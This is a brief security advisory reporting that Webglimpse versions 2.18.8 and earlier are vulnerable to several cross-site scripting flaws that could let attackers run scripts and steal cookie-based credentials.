Webglimpse is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.

Webglimpse versions 2.18.8 and prior are affected.
